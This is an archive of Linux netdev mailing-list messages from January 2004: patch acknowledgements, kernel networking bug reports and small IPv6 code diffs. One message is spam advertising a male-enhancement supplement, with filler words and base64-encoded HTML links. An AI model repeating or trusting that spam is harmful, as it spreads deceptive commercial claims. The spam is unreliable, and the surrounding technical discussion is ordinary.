pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K55YmK010887 for ; Mon, 19 Jan 2004 21:05:34 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA21722; Mon, 19 Jan 2004 20:57:36 -0800 Date: Mon, 19 Jan 2004 20:57:36 -0800 From: "David S. Miller" To: Alex Pankratov Cc: netdev@oss.sgi.com Subject: Re: [PATCH 2.6.1] dst_gc_timer initialization Message-Id: <20040119205736.5ae0c42d.davem@redhat.com> In-Reply-To: <400C72CF.9020906@cipherica.com> References: <400C72CF.9020906@cipherica.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2626 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 16:14:07 -0800 Alex Pankratov wrote: > The second and third parameters of TIMER_INITIALIZER macro, which is > used to initialize dst_gc_timer, are swapped. The patch puts them into > the right order. Patch applied, thanks Alex. From davem@pizda.ninka.net Mon Jan 19 21:08:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:09:00 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K58lmK011315 for ; Mon, 19 Jan 2004 21:08:47 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA21754; Mon, 19 Jan 2004 21:00:49 -0800 Date: Mon, 19 Jan 2004 21:00:49 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.1 SCTP updates. Message-Id: <20040119210049.18c7de94.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2627 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 15:47:15 -0800 (PST) Sridhar Samudrala wrote: > Please do a > bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work > to get the following udpdates to SCTP on top of linux 2.6.1 Pulled, thanks Sridhar. From davem@pizda.ninka.net Mon Jan 19 21:20:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:20:28 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K5K5mK011884 for ; Mon, 19 Jan 2004 21:20:05 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA21835; Mon, 19 Jan 2004 21:11:57 -0800 Date: Mon, 19 Jan 2004 21:11:56 -0800 From: "David S. Miller" To: Krishna Kumar Cc: thomas.schlichter@web.de, akpm@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] Oops in register_proc_table (2.6.1-mm4) Message-Id: <20040119211156.4bff1640.davem@redhat.com> In-Reply-To: References: <200401200051.07144.thomas.schlichter@web.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2628 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 16:06:22 -0800 (PST) Krishna Kumar wrote: > Please apply the patch below. Applied, thanks Krishna. From davem@pizda.ninka.net Mon Jan 19 21:23:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:23:50 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K5NbmK012350 for ; Mon, 19 Jan 2004 21:23:37 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA21913; Mon, 19 Jan 2004 21:15:39 -0800 Date: Mon, 19 Jan 2004 21:15:39 -0800 From: "David S. Miller" To: Chris Wright Cc: netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: [PATCH 4/4] rose check error on memcpy_fromiovec (resend) Message-Id: <20040119211539.7210bd7a.davem@redhat.com> In-Reply-To: <20040116142821.V19023@osdlab.pdx.osdl.net> References: <20040116142502.B19034@osdlab.pdx.osdl.net> <20040116142614.T19023@osdlab.pdx.osdl.net> <20040116142723.U19023@osdlab.pdx.osdl.net> <20040116142821.V19023@osdlab.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2629 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 16 Jan 2004 14:28:21 -0800 Chris Wright wrote: > Check the return value on memcpy_fromiovec(). All 4 patches applied, thanks a lot Chris. From davem@pizda.ninka.net Mon Jan 19 21:26:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:26:12 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K5Q0mK012738 for ; Mon, 19 Jan 2004 21:26:00 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA21937; Mon, 19 Jan 2004 21:18:00 -0800 Date: Mon, 19 Jan 2004 21:18:00 -0800 From: "David S. Miller" To: Andrew Morton Cc: netdev@oss.sgi.com, thomas.schlichter@web.de Subject: Re: Fw: Oops in register_proc_table (2.6.1-mm4) Message-Id: <20040119211800.582e4c3a.davem@redhat.com> In-Reply-To: <20040117173202.76119237.akpm@osdl.org> References: <20040116104709.2163912c.akpm@osdl.org> <20040117173202.76119237.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2630 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 17 Jan 2004 17:32:02 -0800 Andrew Morton wrote: > It seems that ipv6 is registering something under /proc/net/ipv6/route > which has a bad ctl_table.procname. I don't know what it is - the ipv6 > sysctl code overpowered my attention span. I believe the patches posted by Krishna and Yoshfuji today should cure this. I've integrated those into my tree and will push to Linus in a bit. From davem@pizda.ninka.net Mon Jan 19 21:26:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:26:22 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K5QAmK012745 for ; Mon, 19 Jan 2004 21:26:10 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA21926; Mon, 19 Jan 2004 21:16:06 -0800 Date: Mon, 19 Jan 2004 21:16:06 -0800 From: "David S. Miller" To: jt@hpl.hp.com Cc: jt@bougret.hpl.hp.com, netdev@oss.sgi.com, chrisw@osdl.org Subject: Re: [PATCH 2/4] irda check error on memcpy_fromiovec (resend) Message-Id: <20040119211606.302fa1ae.davem@redhat.com> In-Reply-To: <20040117014005.GA14291@bougret.hpl.hp.com> References: <20040117014005.GA14291@bougret.hpl.hp.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2631 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 16 Jan 2004 17:40:05 -0800 Jean Tourrilhes wrote: > Oups, I must have missed the first edition. I've added this is > my patch queue in case Dave doesn't pick it up, but as you can see I > now have a bit of backlog : > http://www.hpl.hp.com/personal/Jean_Tourrilhes/IrDA/IrDA.html Don't sweat it, I just sucked it into my tree. From davem@pizda.ninka.net Mon Jan 19 21:27:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:27:35 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K5RMmK013451 for ; Mon, 19 Jan 2004 21:27:23 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA21980; Mon, 19 Jan 2004 21:19:21 -0800 Date: Mon, 19 Jan 2004 21:19:21 -0800 From: "David S. Miller" To: Michal Ludvig Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] SIT tunnels over IPsec Message-Id: <20040119211921.2b213ee1.davem@redhat.com> In-Reply-To: <40082F88.9030705@logix.cz> References: <40082F88.9030705@logix.cz> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2632 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 16 Jan 2004 19:38:00 +0100 Michal Ludvig wrote: > The attached patch fixes IPv6-in-IPv4 (SIT) tunnel over IPsec. Without > it the SIT packets originated from the same host as the IPsec endpoint > is leave the interface unencrypted and of course the tunnel doesn't > work. The patch fixes it. Tested. > > Please apply. Applied, thanks Michal. From davem@pizda.ninka.net Mon Jan 19 21:32:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:32:56 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K5WhmK013928 for ; Mon, 19 Jan 2004 21:32:43 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA21996; Mon, 19 Jan 2004 21:24:45 -0800 Date: Mon, 19 Jan 2004 21:24:45 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] (1/4) support large number of network devices Message-Id: <20040119212445.5074ac8c.davem@redhat.com> In-Reply-To: <20040116154652.04dd3324.shemminger@osdl.org> References: <20040116154652.04dd3324.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2633 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev I think I'm going to defer this change until the next 2.6.x, we have enough crap in there now I believe :-) Please remeber to resend this as I do want to integrate your work. Thanks Stephen. From davem@pizda.ninka.net Mon Jan 19 21:33:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:33:48 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K5XZmK014184 for ; Mon, 19 Jan 2004 21:33:35 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA22001; Mon, 19 Jan 2004 21:25:37 -0800 Date: Mon, 19 Jan 2004 21:25:37 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: ap@cipherica.com, netdev@oss.sgi.com Subject: Re: [PATCH] more improvement to dev_alloc_name -- strnchr Message-Id: <20040119212537.5d73a031.davem@redhat.com> In-Reply-To: <20040119113204.5913a8d6.shemminger@osdl.org> References: <1074302619.40088e9bd44a6@www.geekmail.cc> <20040119113204.5913a8d6.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2634 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 11:32:04 -0800 Stephen Hemminger wrote: > Okay, this patch avoids the loop if no wildcarding present, and keeps > the same behaviour as original. It adds the string function strnchr > to avoid searching past the maximum ifname size to find the format character. I'm deferring this until the next 2.6.x-pre starts up as well. Please resend at that time. Thanks Stephen. From davem@pizda.ninka.net Mon Jan 19 21:42:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:43:08 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K5gtmK014883 for ; Mon, 19 Jan 2004 21:42:55 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA22077; Mon, 19 Jan 2004 21:33:50 -0800 Date: Mon, 19 Jan 2004 21:33:50 -0800 From: "David S. Miller" To: Ville Nuorvala Cc: netdev@oss.sgi.com Subject: Re: [PATCH 1/2] IPv6: stricter checks on link-locals in bind and sendmsg Message-Id: <20040119213350.725dcee4.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2635 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 14 Jan 2004 10:35:11 +0200 (EET) Ville Nuorvala wrote: > I found a couple of suspected bugs related to (source) address > handling while rummaging around the code... > > When binding to a link-local address, inet6_bind() and raw6_bind() only > check that an interface is specified and that the address exists, but > they don't check if it actually exists on the specified interface. > > Similarly, in datagram_sent_ctl() we don't check for the possibility of a > link-local address when we receive the source address from userspace. Applied, thanks Ville. From afpoi@yahoo.com Tue Jan 20 02:14:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 02:14:41 -0800 (PST) Received: from 192.48.159.27 ([218.145.254.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0KAELmK025423; Tue, 20 Jan 2004 02:14:22 -0800 Received: from [128.236.122.152] by 218.145.254.226 with HTTP; Wed, 21 Jan 2004 06:04:21 +0600 From: "Lloyd Barry" To: linux-xfs@oss.sgi.com Cc: linux-xfs-bounce@oss.sgi.com, ltp@oss.sgi.com, netdev@oss.sgi.com, dev@oss.sgi.com, owner-linux-xfs@oss.sgi.com, netdev-bounce@oss.sgi.com, cvs@oss.sgi.com Subject: Males last all nite over and over again Mime-Version: 1.0 X-Mailer: anterior adulterous doltish Date: Wed, 21 Jan 2004 06:12:21 +0600 Reply-To: "Lloyd Barry" Content-Type: multipart/alternative; boundary="12369663225590477081" Message-Id: X-archive-position: 2636 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xvwknsccaxkrv@yahoo.com Precedence: bulk X-list: netdev --12369663225590477081 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit bowditch clod backscatter conspiratorial bialystok degeneracy chapel without desultory rene corpsmen tail globular blutwurst amplifier cockcrow nate deactivate hyena pickaxe seriatim watchband crankcase basilisk baccarat admitting abeyance collect trivial pigpen beginning amp dreamboat suck alex --12369663225590477081 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 8bit PGJyPjxicj4NCjxjZW50ZXI+PGEgaHJlZj0iaHR0cDovL3d3dy4xMmhlbi5pbmZvL2FscGhh Lz9idXN0ZXIiPlRoaXMgZmFudGFzdGljIHN1cHBsZW1lbnQ8YnI+aGFzIG1hZGUgbWFsZSAg c3RhcnMgZmFtb3VzPGJyPiBDbGljayBoZXJlPC9hPjxicj48YnI+PGJyPg0KDQo8YnI+c2Nl bnQgPGJyPg0KPGJyPg0Kb2YgdmljdG9yeTxicj4NCg0KPGEgaHJlZj0iaHR0cDovL3d3dy4x Mmhlbi5pbmZvL3BoZXIvby5odG1sIj5Ob3QgaW50ZXJlc3RlZDxicj4gUGxlYXNlIENsaWNr IGhlcmU8L2E+PC9GT05UPjwvY2VudGVyPg0KPGJyPg0KPGJyPmhhaXIgc3R5bGUNCg0KDQoN Cg== --12369663225590477081-- From harisri@bigpond.com Tue Jan 20 02:49:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 02:49:27 -0800 (PST) Received: from gizmo13bw.bigpond.com (gizmo13bw.bigpond.com [144.140.70.23]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0KAnCmK028296 for ; Tue, 20 Jan 2004 02:49:13 -0800 Received: (qmail 28628 invoked from network); 20 Jan 2004 10:46:10 -0000 Received: from unknown (HELO bwmam10.bigpond.com) (144.135.24.97) by gizmo13bw.bigpond.com with SMTP; 20 Jan 2004 10:46:10 -0000 Received: from 144.138.164.137 ([144.138.164.137]) by bwmam10.bigpond.com(MAM REL_3_4_2 165/64264579) with SMTP id 64264579; Tue, 20 Jan 2004 20:49:09 +1000 From: Srihari Vijayaraghavan To: Francois Romieu Subject: Re: [PROBLEM] r8169 deadlocks Date: Tue, 20 Jan 2004 21:50:12 +1100 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com References: <200401152039.00182.harisri@bigpond.com> <200401192251.41323.harisri@bigpond.com> <20040120002422.A19029@electric-eye.fr.zoreil.com> In-Reply-To: <20040120002422.A19029@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401202150.12892.harisri@bigpond.com> X-archive-position: 2637 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: harisri@bigpond.com Precedence: bulk X-list: netdev Hello Francois, On Tuesday 20 January 2004 10:24, Francois Romieu wrote: > > The r8169-tc-index-overflow.patch does not (cleanly) apply on 2.6.1-bk2 + > > netdev4. > > Can you verify that your kernel tree is fine or give an (sh-)history of > the applied patches ? cd /usr/local/src tar xfj /media/cdrecorder/v2.6/linux-2.6.0.tar.bz2 cd linux-2.6.0 bunzip2 -c /media/cdrecorder/v2.6/patch-2.6.1.bz2 |patch -p1 bunzip2 -c ~/linux/patch-2.6.1-bk2.bz2 |patch -p1 bunzip2 -c ~/linux/2.6.1-bk1-netdev4.patch.bz2 |patch -p1 patch -p1 --dry-run < ~/linux/r8169/r8169-tx-index-overflow.patch patching file drivers/net/r8169.c Hunk #1 succeeded at 1341 (offset 364 lines). Hunk #2 FAILED at 1351. Hunk #3 succeeded at 1365 with fuzz 1 (offset 367 lines). 1 out of 3 hunks FAILED -- saving rejects to file drivers/net/r8169.c.rej > I have just checked and the patch applies cleanly on kernel 2.6.1-bk2 + > Jeff's 2.6.1-bk1-netdev4 as well as on kernel 2.6.1-bk4 + Jeff's > 2.6.1-bk4-netdev1. Interesting. In this very thread you mentioned (in which you did not cc me BTW :-) that you welcomed AMD64-RTL8169 users, that gave me an idea. I tested this computer under 32 bit kernel (vanilla Fedora + 2.6.1-mm4) in which it survives my torture test (I have verified for no more than 5 minutes though, but then it does not survive for more than 5 secs under the 64 bit kernel). (And BTW I do not like binary only kernel modules, and I do these bug reporting "for fun", and there is no fun in binary only modules. I have been reading lkml for long enough to understand that :-) Thanks for help and suggestions so far, I appreciate them. Hari From shemminger@osdl.org Tue Jan 20 10:48:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 10:48:48 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0KImYmK015264 for ; Tue, 20 Jan 2004 10:48:35 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0KImKo32049; Tue, 20 Jan 2004 10:48:20 -0800 Date: Tue, 20 Jan 2004 10:48:20 -0800 From: Stephen Hemminger To: YOSHIFUJI Hideaki / =?ISO-8859-1?B?X19fX19fX19fX19f?= Cc: davem@redhat.com, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: add missing sentinel for addrconf procfs Message-Id: <20040120104820.77ff135f.shemminger@osdl.org> In-Reply-To: <20040120.094223.76534381.yoshfuji@linux-ipv6.org> References: <20040120.094223.76534381.yoshfuji@linux-ipv6.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0KImYmK015264 X-archive-position: 2638 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Tue, 20 Jan 2004 09:42:23 +0900 (JST) YOSHIFUJI Hideaki / ____________ wrote: > Sorry, I forgot to increase the number of members in the array and > that the sentinel was removed. > So, add missing sentinel explicitly. How about adding all them explicitly to prevent future errors? diff -Nru a/net/ipv6/addrconf.c b/net/ipv6/addrconf.c --- a/net/ipv6/addrconf.c Tue Jan 20 10:51:20 2004 +++ b/net/ipv6/addrconf.c Tue Jan 20 10:51:20 2004 @@ -3191,6 +3191,9 @@ .mode = 0555, .child = addrconf_sysctl.addrconf_vars, }, + { + .ctl_name = 0, /* sentinel */ + } }, .addrconf_conf_dir = { { @@ -3199,6 +3202,9 @@ .mode = 0555, .child = addrconf_sysctl.addrconf_dev, }, + { + .ctl_name = 0, /* sentinel */ + } }, .addrconf_proto_dir = { { @@ -3207,6 +3213,9 @@ .mode = 0555, .child = addrconf_sysctl.addrconf_conf_dir, }, + { + .ctl_name = 0, /* sentinel */ + } }, .addrconf_root_dir = { { @@ -3215,6 +3224,9 @@ .mode = 0555, .child = addrconf_sysctl.addrconf_proto_dir, }, + { + .ctl_name = 0, /* sentinel */ + } }, }; From rask@sygehus.dk Tue Jan 20 10:51:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 11:11:24 -0800 (PST) Received: from 0x50a144fa.albnxx15.adsl-dhcp.tele.dk (0x50a144fa.albnxx15.adsl-dhcp.tele.dk [80.161.68.250]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0KIpQmK015549 for ; Tue, 20 Jan 2004 10:51:26 -0800 Received: by 0x50a17286.albnxx15.adsl-dhcp.tele.dk (Postfix, from userid 500) id D5348E84B; Tue, 20 Jan 2004 19:51:23 +0100 (CET) Date: Tue, 20 Jan 2004 19:51:22 +0100 From: Rask Ingemann Lambertsen To: Jim Keniston Cc: LKML , netdev , Jeff Garzik , Andrew Morton , "Feldman, Scott" , Larry Kessler Subject: Re: [PATCH 2.6.1] Net device error logging Message-ID: <20040120195122.A1087@sygehus.dk> References: <400C3D3E.BFCC25CE@us.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <400C3D3E.BFCC25CE@us.ibm.com>; from jkenisto@us.ibm.com on Mon, Jan 19, 2004 at 12:25:34PM -0800 X-archive-position: 2639 X-Approved-By: ralf@linux-mips.org X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rask@sygehus.dk Precedence: bulk X-list: netdev On Mon, Jan 19, 2004 at 12:25:34PM -0800, Jim Keniston wrote: > The enclosed patch implements the netdev_* error-logging macros for > network drivers. These macros have been discussed at length on the > linux-kernel and linux-netdev lists. All issues that reviewers have > raised were addressed previously. This is just an update for v2.6.1. How about a message rate limit? -- Regards, Rask Ingemann Lambertsen From krkumar@us.ibm.com Tue Jan 20 11:55:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 11:56:01 -0800 (PST) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0KJtTmK021957 for ; Tue, 20 Jan 2004 11:55:36 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0KJtN0J787006; Tue, 20 Jan 2004 14:55:23 -0500 Received: from linux-udp15191261uds.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0KJtMSZ052028; Tue, 20 Jan 2004 14:55:23 -0500 Date: Tue, 20 Jan 2004 11:46:02 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@linux-udp15191261uds.beaverton.ibm.com To: "David S. Miller" cc: netdev@oss.sgi.com, KK Subject: [PATCH] Uninitialized dst in ip6_dst_lookup In-Reply-To: <20040119211156.4bff1640.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2640 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Hi Dave, ip6_dst_lookup() is supposed to fill in the *dst, hence it must not dereference *dst until it allocates it. However if the passed sk is NULL and *dst is not set by the caller, the following code will dereference uninitialized memory : if (*dst == NULL) *dst = ip6_route_output(sk, fl); >>>>> will not execute if ((err = (*dst)->error)) >>>>> dereference bad stack address. goto out_err_release; I am suggesting moving the responsibility of ensuring a good *dst from the callers to ip6_dst_lookup(). Currently the existing code doesn't cause any problem since this routine is called either with sk!=NULL or if sk is NULL, the *dst passed is NULL (tcp_v6_send_reset() and tcp_v6_send_ack() do alloc_skb() which sets all fields till truesize to NULL). However if some code is added/changed such that sk is NULL and an uninitialized *dst is passed, we will reference uninitialized *dst. Suggesting following patch to handle this case. thanks, - KK diff -ruN linux-2.6.1.bk2/net/ipv6/ip6_output.c linux-2.6.1.bk2.new/net/ipv6/ip6_output.c --- linux-2.6.1.bk2/net/ipv6/ip6_output.c 2004-01-20 11:12:06.000000000 -0800 +++ linux-2.6.1.bk2.new/net/ipv6/ip6_output.c 2004-01-20 11:13:28.000000000 -0800 @@ -725,6 +725,7 @@ { int err = 0; + *dst = NULL; if (sk) { struct ipv6_pinfo *np = inet6_sk(sk); From mfedyk@matchmail.com Tue Jan 20 12:12:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 12:12:38 -0800 (PST) Received: from mtaw4.prodigy.net (mtaw4.prodigy.net [64.164.98.52]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0KKCPmK022671 for ; Tue, 20 Jan 2004 12:12:25 -0800 Received: from fileserver.matchmail.com (adsl-63-194-239-202.dsl.lsan03.pacbell.net [63.194.239.202]) by mtaw4.prodigy.net (8.12.10/8.12.10) with ESMTP id i0KKCKhX007067; Tue, 20 Jan 2004 12:12:20 -0800 (PST) Received: from mmp2.matchmail.com ([10.0.0.2] helo=srv-lnx2600.matchmail.com) by fileserver.matchmail.com with esmtp (Exim 4.30) id 1Aj2EP-0007DW-2g; Tue, 20 Jan 2004 12:12:13 -0800 Received: from mfedyk by srv-lnx2600.matchmail.com with local (Exim 4.30) id 1Aj2EO-0001Tq-U8; Tue, 20 Jan 2004 12:12:12 -0800 Date: Tue, 20 Jan 2004 12:12:12 -0800 From: Mike Fedyk To: Patrick Mau , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [SOLVED] Stale Filehandles was: [2.6] nfs_rename: target $file busy, d_count=2 Message-ID: <20040120201212.GH23765@srv-lnx2600.matchmail.com> Mail-Followup-To: Patrick Mau , linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: <20040116050642.GF1748@srv-lnx2600.matchmail.com> <20040116130336.GA5220@oscar.prima.de> <20040116184031.GM1748@srv-lnx2600.matchmail.com> <20040116185504.GN1748@srv-lnx2600.matchmail.com> 